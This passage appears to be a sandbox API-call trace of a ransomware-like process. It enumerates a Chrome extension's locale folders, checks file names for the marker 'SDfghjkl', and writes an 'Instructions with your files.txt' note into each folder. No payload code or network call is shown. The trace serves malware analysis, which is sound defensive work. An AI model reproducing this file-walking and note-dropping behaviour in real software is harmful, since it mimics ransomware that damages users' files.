[0130.137] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.137] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 155
[0130.137] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.137] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.137] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\Instructions with your files.txt") returned 174
[0130.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.137] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.138] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.138] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.138] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.138] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.138] CloseHandle (hObject=0x134) returned 1
[0130.139] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.139] GetProcessHeap () returned 0x810000
[0130.139] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.139] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0130.139] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned 141
[0130.139] GetProcessHeap () returned 0x810000
[0130.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*") returned 143
[0130.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\.") returned 143
[0130.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\..") returned 144
[0130.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 155
[0130.139] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\Instructions with your files.txt") returned 174
[0130.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.140] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.140] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.141] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.141] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.141] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.141] CloseHandle (hObject=0x134) returned 1
[0130.141] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.141] GetProcessHeap () returned 0x810000
[0130.141] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.141] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0130.141] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned 141
[0130.141] GetProcessHeap () returned 0x810000
[0130.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.141] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*") returned 143
[0130.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.141] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\.") returned 143
[0130.142] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.142] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\..") returned 144
[0130.142] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.142] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 155
[0130.142] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.142] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.142] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\Instructions with your files.txt") returned 174
[0130.142] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.142] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.143] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.143] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.143] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.143] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.143] CloseHandle (hObject=0x134) returned 1
[0130.143] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.143] GetProcessHeap () returned 0x810000
[0130.143] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.144] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0130.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned 141
[0130.144] GetProcessHeap () returned 0x810000
[0130.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.144] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*") returned 143
[0130.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.144] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\.") returned 143
[0130.145] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.145] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\..") returned 144
[0130.145] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.145] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 155
[0130.145] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.145] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.145] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\Instructions with your files.txt") returned 174
[0130.145] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.145] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.146] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.146] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.146] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.146] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.146] CloseHandle (hObject=0x134) returned 1
[0130.147] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.147] GetProcessHeap () returned 0x810000
[0130.147] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
